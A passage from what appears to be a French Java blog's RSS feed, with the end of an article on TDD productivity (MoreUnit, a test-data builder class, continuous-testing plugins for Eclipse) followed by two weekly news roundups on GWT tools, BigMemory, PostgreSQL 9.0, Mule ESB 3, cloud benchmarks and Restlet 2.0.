href="http://moreunit.sourceforge.net/" title="MoreUnit" >MoreUnit</a> qui &#8211; après une période assez calme &#8211; est à nouveau en développement actif depuis l&#8217;été dernier. Une nouvelle version (2.2.0) sort d&#8217;ailleurs au moment où vous lisez ces lignes.</p><p>Voici les principales fonctionnalités de MoreUnit:</p><ol><li>Il décore d&#8217;une icône verte discréte toutes vos classes testées. Un moyen rapide de voir ce qui ne l&#8217;est pas!</li><li>Lors du renommage ou du déplacement d&#8217;une classe, MoreUnit se chargera de renommer/déplacer la classe de test correspondante.</li><li>Un raccourci (Ctrl+J) vous permet de sauter de votre classe à sa (ses) classe(s) de test, un autre (Ctr+R) de lancer le(s) test(s) à partir de la classe principale.</li><li>Ces mêmes raccourcis vous proposent de créer la classe testée en fonction de la classe de test (et vice-versa) si elle n&#8217;existe pas, le tout en suivant vos préférences (voir point suivant).</li><li>Le comportement plugin est configurable de sorte que vous puissiez utiliser vos propres conventions (quelques exemples: préfixe &laquo;&nbsp;should&nbsp;&raquo; pour les méthodes de test, méthodes de test nommées selon les méthodes testées, pré-/suffixe &laquo;&nbsp;ITest&nbsp;&raquo; pour des tests plus orientés intégration, packages de test pré-/suffixés par &laquo;&nbsp;test.&nbsp;&raquo;, tests placés dans un projet séparé, etc&#8230;).</li><li>Un dernier raccourci (Ctrl+U) vos permet de créer une méthode de test pour une méthode donnée, dans une classe de test existante et correspondant à la classe testée.</li><li>Enfin, MoreUnit supporte à la fois JUnit (3&#038;4) et TestNG.</li></ol><p>Cela fait maintenant plus de 2 ans que j&#8217;utilise moreUnit. Installez-le vous ne le regretterez pas.</p><h3><a
name="ObjetmtiersetBuilderPattern"></a>Objet métiers et Builder Pattern</h3><p>Une des tâches les plus ardues lorsque l&#8217;on pratique TDD consiste à générer les différentes instances des objets métiers qui seront utilisées pour les tests unitaires.</p><p>Imaginons que pour notre test unitaire nous ayons besoin d&#8217;une instance de la classe User comme suit</p><pre class="brush: java; title: ; notranslate">User user = new User();
user.setUsername(&quot;bob&quot;);
user.setSurname(&quot;Martin&quot;)
user.setEmail(&quot;bob@mail.com&quot;)
user.setPhone(&quot;+447735463526&quot;);
</pre><p>Le code ci-dessus est répétitif et n&#8217;aide pas à la lecture.</p><p>Une façon d&#8217;y remédier, en obtenant un code plus lisible et flexible, est d&#8217;utiliser le Builder Pattern. Nous obtenons ainsi des lignes de code simples comme celles-ci</p><pre class="brush: java; title: ; notranslate">User user = new UserBuilder().username(&quot;bob&quot;).surname(&quot;Martin&quot;).email(&quot;bob@mail.com&quot;)
                          .phone(&quot;+447735463526&quot;).toUser();
</pre><p>Si l&#8217;on veut juste un objet User vide ou l&#8217;un avec simplement un email, ce pattern le permet très simplement avec</p><pre class="brush: java; title: ; notranslate">
User userWithEmail = new UserBuilder().email(&quot;bob@mail.com&quot;).toUser();
User simpleUser = new UserBuilder().toUser();
</pre><p>Voici ci-dessous la classe UserBuilder. Il est important de noter que le champ d&#8217;action de cette classe est réduit aux tests seulement et qu&#8217;elle n&#8217;apparaîtra jamais dans du code de production. Typiquement, en suivant les conventions Maven, cette classe résidera dans <em>src/test/java</em>.</p><pre class="brush: java; title: ; notranslate">
public class UserBuilder {
	private String username;
	private String surname;
	private String email;
	private String phone;
	public UserBuilder username(String username){
		this.username = username;
		return this;
	}
	public UserBuilder surname(String surname){
		this.surname = surname;
		return this;
	}
	public UserBuilder email(String email){
		this.email = email;
		return this;
	}
	public UserBuilder phone(String phone){
		this.phone = phone;
		return this;
	}
	public User toUser(){
		User user = new User();
		user.setUsername(username);
		user.setSurname(surname);
		user.setEmail(email);
		user.setPhone(phone);
		return user;
	}
}
</pre><p>Il est parfois fastidieux de générer ce type de builder pour tous les objets métiers surtout s&#8217;ils sont imposants. Le <a
href="http://boss.bekk.no/bpep/index.html" title="plugin Eclipse suivant" >plugin Eclipse suivant</a> peut aider. Il génère un builder classique pour une classe donnée (la rendant par la même occasion immutable). Moyennant un peu de copier-coller en utilisant la classe produite par le plugin, on peut retrouver le builder présenté ci-dessus sans trop d&#8217;effort. Le site update de ce plugin Eclipse est <a
href="http://boss.bekk.no/bpep/update" title="ici" >ici</a>.</p><h3><a
name="ContinuousunittestingavecEclip"></a>Continuous unit testing avec Eclipse</h3><p>Le test unitaire en continu est encore peu utilisé mais est un outil très puissant et indispensable pour le TDD. Il permet de se focaliser uniquement sur l&#8217;implémentation et la conception des tests, car votre IDE se chargera de faire tourner les tests unitaires et vous alertera lorsqu&#8217;un test est dans le rouge.</p><p>Le cycle classique de programmation en TDD est</p><ol><li>Écriture du test</li><li>Lancer &#8211; par raccourci clavier &#8211; JUnit pour être dans le rouge</li><li>Écriture de l&#8217;implémentation</li><li>Lancer &#8211; par raccourci clavier &#8211; JUnit pour être dans le vert</li><li>Recommencer le cycle avec un autre test</li></ol><p>Avec le test unitaire en continu, intégré dans votre IDE, votre cycle devient</p><ol><li>Écriture du test</li><li>Écriture de l&#8217;implémentation</li><li>Recommencer le cycle avec un autre test</li></ol><p>On en gagne du temps! Votre IDE (ou plutôt le plugin) se charge du reste&#8230; et c&#8217;est bien normal. Les développeurs sont là pour la conception après tout!</p><p>Les principaux plugins sont:</p><ul><li><a
href="http://code.google.com/p/junitflux/" title="JUnit Flux" >JUnit Flux</a></li></ul><p>Plugin gratuit et très simple d&#8217;utilisation. Il a cependant des problème de stabilité car la mise à jour et le rafraîchissement dans la <em>JUnit View</em> ne se font pas toujours correctement après un certain temps d&#8217;utilisation. Cela pose des problèmes car votre test est dans le vert alors qu&#8217;il devrait être dans le rouge! Cependant, c&#8217;est idéal pour commencer.</p><ul><li><a
href="http://junitmax.com/" title="JUnit Max" >JUnit Max</a></li></ul><p>Développé par Kent Beck, il était tombé en désuétude mais a été remis sur le marché en Septembre 2010. Cependant, la licence reste chère à $100 par an! C&#8217;est peut être la raison pour laquelle je ne l&#8217;ai pas encore essayé. Je suis preneur de retour d&#8217;expérience sur ce plugin.</p><ul><li><a
href="http://improvingworks.com/products/infinitest/" title="Infinitest" >Infinitest</a></li></ul><p>Plugin stable au prix de $20. La notification de test en erreur se fait à l&#8217;aide de la <em>Problem View</em> (introduit par JUnit Max) ce qui veut dire que votre plugin ne tournera pas si vous avez une quelconque erreur de workspace. Un peu ennuyeux parfois. La configuration du plugin reste basique. Il n&#8217;y a en effet pas moyen de choisir sur quels projets dans votre workspace vous voulez appliquer le test continu. Ce qui veut dire qu&#8217;Infinitest, va faire tourner tous les tests de votre workspace. Le filtrage des classes de test par leur nom (pour éviter les tests d&#8217;intégration comme *.ITest) est un peu décevant puisque il faut ajouter un fichier de properties dans le projet au lieu d&#8217;utiliser un menu Eclipse dans les préférences.</p><p>Ayant commencé par utiliser JUnit Flux, j&#8217;utilise maintenant Infinitest et c&#8217;est celui que je recommanderais pour petit budget &#8211; vous pouvez l&#8217;essayer gratuitement pour 30 jours &#8211;  en attendant sur le marché un plugin gratuit plus satisfaisant ou d&#8217;avoir le temps pour en développer un !</p><h3><a
name="Conclusion"></a>Conclusion</h3><p>Aujourd&#8217;hui, le TDD est une arme que tout développeur Java (ou tout language qui s&#8217;y prête bien) doit avoir à son arsenal. Tout débat autour de cette méthodologie deviendrait inutile si tout le monde la maitrisait. En effet, chaque développeur, pourrait à son gré choisir de l&#8217;appliquer ou non en toute connaissance de cause.</p><p>Cependant, la maitrise du TDD demande du temps, de la méthode et surtout de la discipline.</p><p>Le but de cet article a été de promouvoir les pratiques indispensables. Elles permettent au développeur de se concentrer sur la partie <em>fun</em> du TDD en automatisant et en facilitant certaines tâches sans pour autant qu&#8217;il perde le contrôle.</p><p>Si la pratique du TDD n&#8217;est pas encore grandement répandue, j&#8217;espère que cet article aidera à faciliter son apprentissage.</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2010/11/03/tdd-et-productivite/feed/</wfw:commentRss> <slash:comments>8</slash:comments> </item> <item><title>Revue de Presse Xebia</title><link>http://blog.xebia.fr/2010/09/21/revue-de-presse-xebia-177/</link> <comments>http://blog.xebia.fr/2010/09/21/revue-de-presse-xebia-177/#comments</comments> <pubDate>Tue, 21 Sep 2010 09:50:34 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[BigMemory]]></category> <category><![CDATA[Eclipse]]></category> <category><![CDATA[estimation]]></category> <category><![CDATA[GWT]]></category> <category><![CDATA[Instantiation]]></category> <category><![CDATA[Mule ESB]]></category> <category><![CDATA[PostgreSQL]]></category> <category><![CDATA[Terracotta]]></category> <category><![CDATA[user story]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=5423</guid> <description><![CDATA[La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia. Actualité éditeurs / SSII La diffusion des produits d&#8217;Instantiations par Google Avec BigMemory Terracotta se dote d&#8217;une mémoire d&#8217;éléphant PostgreSQL: version 9.0 finale Agilité Les problèmes d&#8217;estimation de la valeur métier SOA Sortie de Mule ESB 3 GA Actualité éditeurs / SSII La diffusion [...]]]></description> <content:encoded><![CDATA[<p><img
style="margin: 1em 1em 1em 1em; float: right;" src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" /></p><p><em>La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p><p><strong>Actualité  éditeurs / SSII</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/09/21/revue-de-presse-xebia-177/#LadiffusiondesproduitsdInstant">La diffusion des produits d&#8217;Instantiations par Google</a></li><li><a
href="http://blog.xebia.fr/2010/09/21/revue-de-presse-xebia-177/#AvecBigMemoryTerracottasedoted">Avec BigMemory Terracotta se dote d&#8217;une mémoire d&#8217;éléphant</a></li><li><a
href="http://blog.xebia.fr/2010/09/21/revue-de-presse-xebia-177/#PostgreSQLversionfinale">PostgreSQL: version 9.0 finale</a></li></ul><p><strong>Agilité</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/09/21/revue-de-presse-xebia-177/#Lesproblmesdestimationdelavale">Les problèmes d&#8217;estimation de la valeur métier</a></li></ul><p><strong>SOA</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/09/21/revue-de-presse-xebia-177/#SortiedeMuleESBGA">Sortie de Mule ESB 3 GA</a></li></ul><h3><a
name="ActualitditeursSSII"></a>Actualité  éditeurs / SSII</h3><h4><a
name="LadiffusiondesproduitsdInstant"></a>La diffusion des produits d&#8217;Instantiations par Google</h4><p>Dans les semaines qui ont suivi le rachat de la société Instantiations par Google début août, les produits phares de la start-up, comme GWT Designer, n&#8217;étaient plus accessibles. Comme on s&#8217;en doutait, Google <a
href="http://googlewebtoolkit.blogspot.com/2010/09/google-relaunches-instantiations.html">vient de remettre à disposition</a> ces outils, au détail prêt qu&#8217;ils sont désormais gratuits. On retrouve les plugins Eclipse suivant :</p><ul><li><a
title="GWT Designer" href="http://code.google.com/webtoolkit/tools/download-gwtdesigner.html">GWT Designer</a></li></ul><p>Ce plugin est un ensemble de fonctionnalités autour du framework Google Web Toolkit. Parmi ses avantages, on retrouve principalement le designer visuel permettant de concevoir rapidement des interfaces ou d&#8217;effectuer du reverse engineering sur un code existant et la génération automatique des services RPC.<br
/> L&#8217;acquisition de ce plugin marque un renforcement de l&#8217;offre RIA de Google, qui annonce travailler sur la fusion de GWT Designer avec GPE (Google Plugin Eclipse) et sur la prise en charge de l&#8217;UIBinding.</p><ul><li><a
title="CodePro AnalytiX" href="http://code.google.com/webtoolkit/tools/download-codepro.html">CodePro AnalytiX</a></li></ul><p>Ce plugin est un outil collaboratif autour de la qualité du code Java contenant pas moins de 700 métriques. Il propose des fonctions comme l&#8217;audit de code, la couverture de code, l&#8217;analyse des dépendances.</p><ul><li><a
title="WindowBuilder Pro" href="http://code.google.com/webtoolkit/tools/download-wbpro.html">WindowBuilder Pro</a></li></ul><p>Ce plugin est un designer visuel permettant de concevoir rapidement des interfaces graphiques dans diverses technologies comme Swing, SWT, RCP, XWT et GWT. Au même titre que GWT Designer, l&#8217;outil permet également d&#8217;effectuer du Reverse Engineering sur du code existant (écrit à la main ou généré par des outils comme JBuilder, NetBeans, etc.)</p><ul><li><a
title="WindowTester Pro" href="http://code.google.com/webtoolkit/tools/download-wintester.html">WindowTester Pro</a></li></ul><p>Ce plugin permet de réaliser des tests d&#8217;interfaces pour les frameworks SWT et Swing.</p><h4><a
name="AvecBigMemoryTerracottasedoted"></a>Avec BigMemory Terracotta se dote d&#8217;une mémoire d&#8217;éléphant</h4><p>La semaine dernière Terracotta <a
title="a annonc" href="http://www.terracotta.org/news/pr/2010-09-14-bigmemory">a annoncé</a> la sortie de BigMemory en version bêta. Cette nouvelle solution, qui se présente sous la forme d&#8217;un plugin d&#8217;Ehcache, permet d&#8217;utiliser un cache pouvant atteindre plusieurs centaines de Go d&#8217;espace (la compagnie annonce 350Go) sans souffrir des pauses dues au garbage collector.</p><p>Ce tour de force est possible en soustrayant cet espace à la <em>heap</em> de la jvm, Ehcache désigne cet espace <a
title="offheap store" href="http://ehcache.org/documentation/offheap_store.html">off-heap store</a>. Il s&#8217;agit d&#8217;une énorme HashMap qui n&#8217;est limitée que par la RAM du serveur. De plus la configuration semble assez facile, juste quelques lignes à ajouter dans la configuration de Ehcache. Bien sûr pour dépasser les 2 ou 4 Go il faudra un OS 64bits. Il est à noter par ailleurs que cette solution est 100% java. Parmi les  points forts mis en avant:</p><ul><li>d&#8217;un point de vue logistique, concentrer la gestion du cache sur une seule machine peut être plus simple à gérer qu&#8217;avec un cache distribué.</li><li>les projets confrontés à la taille maximum de leur JVM dépensent parfois beaucoup d&#8217;énergie afin de trouver les bonnes options pour limiter le garbage collector ou à trouver des dérivatifs, ici la question ne se pose plus.</li><li>les temps de réponse sont quasi constants, en partie parce que le garbage collector n&#8217;est pas concerné, ce qui permet d&#8217;avoir un SLA <em>prédictible</em>. Le <a
title="benchmark" href="http://ehcache.org/documentation/offheap_store.html#Performance_Comparisons">benchmark</a> d&#8217;Ehcache est assez évocateur à ce sujet.</li></ul><p>Parmi les bémols qui se sont exprimés, le billet sur ServerSide de <a
title="Joseph Ottinger" href="http://www.theserverside.com/report/What-Does-BigMemory-Mean-for-Terracotta">Joseph Ottinger</a>, employé de Gigaspaces (donc pas 100% objectif) et la <a
title="discussion" href="http://www.theserverside.com/discussions/thread.tss?thread_id=60933#339175">discussion</a> qu&#8217;il a engendré sont très instructifs. De façon abrégée, les points relevés:</p><ul><li>BigMemory <em>n&#8217;est qu&#8217;une</em> HashMap, lorsqu&#8217;on manipule autant de données il peut être nécessaire d&#8217;avoir un mécanisme de requête sur les clés.</li><li>Le garbage collector a ses vertus, lorsqu&#8217;il y a un fort ratio d&#8217;écritures et que les tailles des objets varient beaucoup on peut se trouver dans une situation où l&#8217;espace est très fragmenté ce qui ralentira les écritures.</li><li>Le monitoring de ce cache nécessitera d&#8217;autres outils que ceux utilisés habituellement pour surveiller l&#8217;efficacité du cache, rendant plus complexe leur utilisation.</li></ul><h4><a
name="PostgreSQLversionfinale"></a>PostgreSQL: version 9.0 finale</h4><p>En version bêta depuis avril, PostgreSQL <a
title="débarque" href="http://www.postgresql.org/about/news.1235">débarque</a> dans sa version finale 9.0. Souvent considérée comme &laquo;&nbsp;l&#8217;autre base de donnée open source&nbsp;&raquo;, PostgreSQL dispose pourtant de nombreuses qualités, que vient renforcer cette nouvelle version. Pendant la phase bêta, PostgreSQLFR <a
title="nous avait dcrit en dtails" href="http://blog.postgresql.fr/index.php?post/2010/06/16/Pr%C3%A9sentation-de-la-version-9.0-de-PostgreSQL2">nous avait décrit en détails</a> les 2 principales nouveautés, orientées réplication et répartition de la charge en lecture.</p><ul><li>Le <a
title="hot Standby" href="http://wiki.postgresql.org/wiki/Hot_Standby"><em>hot Standby</em></a>: des bases secondaires sont disponibles en lecture seule. La charge peut donc être répartie entre les bases.</li><li>La <a
title="streaming replication" href="http://wiki.postgresql.org/wiki/Streaming_Replication"><em>streaming replication</em></a>: les bases secondaires sont maintenues à jour en temps réel, grâce aux logs de la base principale.</li></ul><p>Ces 2 fonctionnalités justifient à elles seules le passage à la version supérieure. Il y en a bien sûr de nombreuses autres parmi lesquelles:</p><ul><li>des améliorations dans la gestion des droits qui peuvent être appliqués:<ul><li>sur les blobs</li><li>en groupe sur les schémas</li></ul></li><li>le support de Python 3 en plus de nombreuses modifications dans la gestion des langages des procédures stockées</li></ul><p>La liste complète des ajouts de cette version ainsi que des incompatibilités et informations de migration est disponible dans <a
title="les release notes" href="http://www.postgresql.org/docs/9.0/static/release-9-0">les <em>release notes</em></a>. Elle était déjà <em>Open Source friendly</em>, surtout après l&#8217;acquisition de MySQL par Oracle, voila que PostgreSQL va à n&#8217;en pas douter, avec cette nouvelle version, renforcer sa position dans les entreprises.</p><h3><a
name="Agilit"></a>Agilité</h3><h4><a
name="Lesproblmesdestimationdelavale"></a>Les problèmes d&#8217;estimation de la valeur métier</h4><p><a
title="Mike Cohn" href="http://blog.mountaingoatsoftware.com/the-problems-with-estimating-business-value">Mike Cohn</a>, personnalité éminente dans la sphère agiliste et fondateur de l&#8217;<a
title="Agile Alliance" href="http://www.agilealliance.org/">Agile Alliance</a>, nous fait part des difficultés à estimer la valeur métier des fonctionnalités développées dans un projet. En général, on estime la valeur métier pour deux raisons:</p><p>- Estimer la valeur ajoutée pour la société au cours des sprints (sous forme de graphique)<br
/> - Prioriser les <em>user stories</em> de manière plus efficace en comparant la valeur métier au coût de chaque <em>story</em>.</p><p>Vu que les <em>user stories</em> sont censés être des petits morceaux de fonctionnalités, il est très difficile de les estimer une à une puisqu&#8217;elles sont étroitement liées. Leur estimation s&#8217;apparente à la méthode des <a
title="prix hdoniques" href="http://www.jourdan.ens.fr/~carbonnier/env/environnement10.pdf">prix hédoniques</a> (il va falloir ressortir les livres d&#8217;économie). Cette méthode est notamment utilisée pour évaluer les biens environnementaux et se base sur le principe que le prix d&#8217;un bien dépend de ses caractéristiques et des services qu&#8217;il rend.</p><p>En faisant des calculs de retour sur investissement, on peut être amené à comparer la valeur métier avec le coût de la <em>story</em>. Or, le coût d&#8217;une petite <em>story</em> est souvent dur à déterminer sans prendre en compte les autres <em>stories</em> (ex: une fonctionnalité d&#8217;architecture). Cela révèle tout le problème des coûts partagés.</p><p>Un autre constat que l&#8217;on peut faire est que la valeur de certaines <em>stories</em> peut être considérée comme la valeur totale de la fonctionnalité regroupant des <em>stories</em>. Mike reprend l&#8217;exemple de la valeur d&#8217;une roue alors que l&#8217;on veut fabriquer une voiture: Si on considère que l&#8217;on ne veut pas cette voiture sans cette roue, alors la valeur métier de la roue vaut la totalité de la voiture.</p><p>Mike nous a exposé tout le problème de l&#8217;estimation de la valeur métier sans toutefois nous proposer de méthode miracle. Celui-ci conclut en proposant d&#8217;estimer par groupe de <em>user stories</em> afin d&#8217;obtenir des valeurs plus réalistes et de permettre d&#8217;effectuer des analyses plus significatives.</p><h3><a
name="SOA"></a>SOA</h3><h4><a
name="SortiedeMuleESBGA"></a>Sortie de Mule ESB 3 GA</h4><p>Le 15 septembre dernier, Ross Masson, CTO de MuleSoft, a officiellement annoncé la sortie de Mule ESB 3 en version GA. Cette 3ème version de l&#8217;ESB star, dont la première Milestone remonte à plus d&#8217;un an, était très attendue par la communauté Open Source, ainsi que par les utilisateurs, en raison des nombreuses nouveautés qui l&#8217;accompagnent.</p><p>Parmi les principales fonctionnalités se trouve le tout nouveau module Cloud Connect, qui regroupe un ensemble de connecteurs dédiés à l&#8217;intégration avec les applications Cloud, SaaS, ainsi qu&#8217;avec les Médias sociaux :</p><ul><li>Connecteurs Cloud clef-en-main dédiés aux fournisseurs de service Cloud populaires tels que Amazon Web Services et Facebook.</li><li>Support natif de REST, facilitant le data-binding et la consomation de services RESTful s&#8217;appuyant notamment sur JAX-RS.</li><li>Intégration avec les framework AJAX / JavaScript, offrant la possibilité d&#8217;interagir avec les services de l&#8217;ESB directement depuis son navigateur à l&#8217;aide de connecteurs dédiés à chaque librairie JavaScript (MooTools, ExtJS, JQuery, Dojo).</li><li>Utilisation simplifiée d&#8217;ATOM et de RSS, pour la consommation et la création de flux. Il est notamment possible de déclencher des évènements en réaction à un flux.</li><li>Support de JSON, à travers l&#8217;utilisation de nouveaux transformateurs.</li></ul><p>Cette nouvelle version de Mule ESB introduit également une nouvelle gestion de la configuration basée sur les patterns, simplifiant l&#8217;exécution des tâches courantes telles que la publication de service REST, la création de passerelles transactionnelles ou la configuration de proxy de Services Web.</p><p>Par ailleurs, Mule ESB 3 supporte maintenant les annotations, simplifiant encore un peu la configuration de ces services. Parmi ces annotations, @Schedule offre la possibilité de planifier simplement l&#8217;exécution d&#8217;une méthode, et @Transformer, permet d&#8217;appliquer des transformations directement sur les messages reçus.</p><p>Du côté du déploiement, Mule ESB 3 est maintenant capable de déployer les nouveaux services à chaud, sans avoir à redémarrer son application. Basé sur une architecture OSGI, Mule 3 offre une meilleure isolation, permettant aux services d&#8217;être modifiés lors de l&#8217;exécution sans impact sur les autres services.</p><p>A noter parmi les autres changements :</p><ul><li>Une intégration avec jBPM améliorée permettant d&#8217;envoyer ou recevoir des messages vers et à partir d&#8217;un processus en cours.</li><li>La possibilité de définir des <em>endpoints</em> dynamiques à l&#8217;aide d&#8217;expressions (Expression Language).</li><li>Un mécanisme de transformations automatiques, s&#8217;appuyant sur les types Mime des messages.</li></ul><p>Cette nouvelle version de Mule ESB apporte un très grand nombre de nouveautés, qui ont toutes vocation à en simplifier l&#8217;utilisation. La simplicité semble donc être le maître mot de cette 3ème mouture de l&#8217;ESB, qui va certainement conserver sa qualification de &laquo;&nbsp;couteau suisse&nbsp;&raquo; dans le domaine de l&#8217;intégration et des architectures SOA. En outre, Mule 3 sait également faire la part belle aux nouvelles exigences des entreprises, en s&#8217;ouvrant aux applications Cloud et aux Médias sociaux.</p><p>Pour plus d&#8217;informations sur Mule ESB 3 :</p><ul><li><a
title="Mule 30 Getting Started Guide" href="http://www.mulesoft.org/documentation/display/MULE3INTRO">Mule 3.0 Getting Started Guide</a></li><li><a
title="Mule 300 Release Notes" href="http://www.mulesoft.org/documentation/display/MULE/Mule+3+Release+Notes">Mule 3.0.0 Release Notes</a></li></ul> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2010/09/21/revue-de-presse-xebia-177/feed/</wfw:commentRss> <slash:comments>3</slash:comments> </item> <item><title>Revue de Presse Xebia</title><link>http://blog.xebia.fr/2010/07/27/revue-de-presse-xebia-169/</link> <comments>http://blog.xebia.fr/2010/07/27/revue-de-presse-xebia-169/#comments</comments> <pubDate>Tue, 27 Jul 2010 05:26:03 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[cloud]]></category> <category><![CDATA[Eclipse]]></category> <category><![CDATA[Ehcache]]></category> <category><![CDATA[Manning]]></category> <category><![CDATA[Oracle]]></category> <category><![CDATA[Restlet]]></category> <category><![CDATA[Sun]]></category> <category><![CDATA[Terracota]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=5142</guid> <description><![CDATA[La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia. SOA Quel nuage choisir ? Le coin de la technique Sortie de Restlet 2.0 Ravalement de Sun par Oracle, quelques couacs&#8230; Sortie de la version 2.2 d&#8217;Ehcache SOA Quel nuage choisir ? Tout dépendra de la nature et des besoins de votre application, nous [...]]]></description> <content:encoded><![CDATA[<p><img
style="margin: 1em 1em 1em 1em; float: right;" src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" /></p><p><em>La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p><p><strong>SOA</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/07/27/revue-de-presse-xebia-169/#Quelnuagechoisir">Quel nuage choisir ?</a></li></ul><p><strong>Le coin de la  technique</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/07/27/revue-de-presse-xebia-169/#SortiedeRestlet">Sortie de Restlet 2.0</a></li><li><a
href="http://blog.xebia.fr/2010/07/27/revue-de-presse-xebia-169/#RavalementdeSunparOraclequelqu">Ravalement de Sun par Oracle, quelques couacs&#8230;</a></li><li><a
href="http://blog.xebia.fr/2010/07/27/revue-de-presse-xebia-169/#SortiedelaversiondEhcache">Sortie de la version 2.2 d&#8217;Ehcache </a></li></ul><h3><a
name="SOA"></a>SOA</h3><h4><a
name="Quelnuagechoisir"></a>Quel nuage choisir ?</h4><p>Tout dépendra de la nature et des besoins de votre application, nous apprennent <a
title="BitCurrent" href="http://www.bitcurrent.com/about-2/">BitCurrent</a> et <a
title="Webmetrics" href="http://www.webmetrics.com/">Webmetrics</a>, via le site <a
title="infoq" href="http://www.infoq.com/news/2010/07/Benchmarking-5-Cloud-Platforms">infoq</a>.</p><p>En effet, après avoir mené quatre types de tests et analyser cinq applications différentes, déployées sur les cinq plateformes de cloud concernées (à savoir,  Amazon, Google, Rackspace, Salesforce.com, et Terremark) ils ont dégagé les conclusions suivantes :</p><ul><li>Faire attention à ses voisins : vos performances seront affectées par les autres applications utilisant le même nuage.</li><li>Comprendre le profil de votre plateforme : elles ont des performances différentes selon le type de tâche effectuée, comme mis en évidence par les histogrammes publiés.</li><li>Afin d&#8217;implémenter une stratégie de monitoring efficace , vous permettant de retrouver rapidement les éventuels goulots d&#8217;étranglement, il vous faudra implémenter du code spécifiquement pour cette tâche. Le diagnostic des problèmes devient plus compliqué, à cause des différentes ressources partagées.</li><li>Choisir entre un IaaS ou un PaaS, dépendra de votre stratégie de portage de votre application vers les nuages. Si vous optez de la re-implémenter afin de tirer avantage des nouveaux types de repository de données tel que BigTable, un PaaS serait le bon choix. Sinon il faudrait plutôt choisir un IaaS et configurer l&#8217;élasticité de votre application vous même.</li><li>Toujours surveiller votre taux d&#8217;utilisation lorsque vous utilisez un PaaS, car en cas de dépassement vos utilisateurs pourront se heurter à une indisponibilité.</li></ul><p>Toutefois, les auteurs précisent que leur étude est plus une ligne de conduite et que des tests avancés devront être menés spécifiquement pour tenir compte des besoins de chaque application et qu&#8217;elle ne visent pas à recommander un nuage plutôt qu&#8217;un autre. Le rapport complet est disponible <a
title="ici" href="http://www.webmetrics.com/landingpage/bitcurrentcloud2/index.html">ici</a>.</p><h3><a
name="Lecoindelatechnique"></a>Le coin de la  technique</h3><h4><a
name="SortiedeRestlet"></a>Sortie de Restlet 2.0</h4><p><a
title="Restlet" href="http://www.restlet.org/">Restlet</a> qui fût l&#8217;un des premiers frameworks à embrasser <a
title="REST" href="http://fr.wikipedia.org/wiki/Representational_State_Transfer">REST</a> vient de sortir en version 2.0 près de 2 ans après la version 1.1.</p><p>Parmi les nouveautés on peut noter les points suivants:</p><ul><li>Un support pour les nouvelles plateformes de Google: Android pour les Smartphones et les Tablets, et Google App Engine pour le cloud computing.</li><li>Une réorganisation des extensions et des packages.</li><li>Un meilleur support des en-têtes HTTP standards.</li><li>Un support d&#8217;une API de sécurité HTTP Centric gérant l&#8217;authentification et les autorisations.</li></ul><p>Parmi les nombreuses extensions disponibles, deux nouvelles extensions font leur apparition:</p><ul><li>L&#8217;extension OData qui fournit une API client haut niveau pour se connecter à différents services <a
title="OData" href="http://www.odata.org/">OData</a>, tels que la plateforme de Cloud Computing Azure de Microsoft. Cette extension fournit à la fois un système de génération de code pour la représentation des données et un runtime layer.</li><li>L&#8217;extension RDF a l&#8217;ambition de permettre aux utilisateurs de construire des applications basées sur le web sémantique. Cette extension fournit une API <a
title="RDF" href="http://fr.wikipedia.org/wiki/Resource_Description_Framework">RDF</a> complète basée sur l&#8217;API Restlet, permettant de traiter des documents à la façon DOM ou bien SAX. L&#8217;extension supporte les formats de sérialisation RDF/XML et RDF/n3.</li></ul><p>Un livre <a
title="Restlet In Action" href="http://www.manning.com/louvel/">Restlet In Action</a> est également en préparation, et les 7 premiers chapitres sont déjà disponibles en <em>early access</em> chez Manning (Le <a
title="premier chapitre" href="http://www.manning.com/louvel/louvel_meapch1.pdf">premier chapitre</a> est en accès gratuit).</p><h4><a
name="RavalementdeSunparOraclequelqu"></a>Ravalement de Sun par Oracle, quelques couacs&#8230;</h4><p>La dernière version de Java 1.6.0_21, sorti il y a quelques semaines, apportait quelques <a
title="volutions mineures" href="http://blog.xebia.fr/2010/07/13/revue-de-presse-xebia-167/#MettezjourvotreJVM">évolutions mineures</a> et aussi malheureusement un bug impactant le lancement d&#8217;Eclipse. Dans le grand ravalement pour faire disparaitre les références à Sun, Oracle a modifié le nom de la compagnie, qui se trouve dans java.dll, en <em>Oracle</em> au lieu de <em>Sun Microsystems, Inc</em>. Or Eclipse se fie à ce nom pour fixer le paramètre par défaut <em>-XX:MaxPermSize</em>. Le problème concerne donc les utilisateurs <em>Windows</em>, un <em>workaround</em> assez simple consiste à fixer ce paramètre au démarrage d&#8217;Eclipse dans le fichier <em>eclipse.ini</em> en ajoutant le paramètre <em>-XX:MaxPermSize=256m</em> après <em>-vmargs</em>.</p><p>Dans la même veine, un mouvement (<a
title="ici" href="http://grep.codeconsult.ch/2010/07/21/dear-oracle-can-we-have-our-nice-javadoc-urls-back/">ici</a>,<a
title="ici" href="http://blog.loof.fr/2010/07/oracle-decouvre-le-web.html">ici</a> et <a
title="là" href="http://www.touilleur-express.fr/2010/07/23/e17476-oracle-decouvre-le-web-rendez-moi-mes-urls-javadoc/">là</a>) s&#8217;est formé pour revenir aux anciennes urls de sun pour la javadoc plus pratiques. En effet là où on avait <a
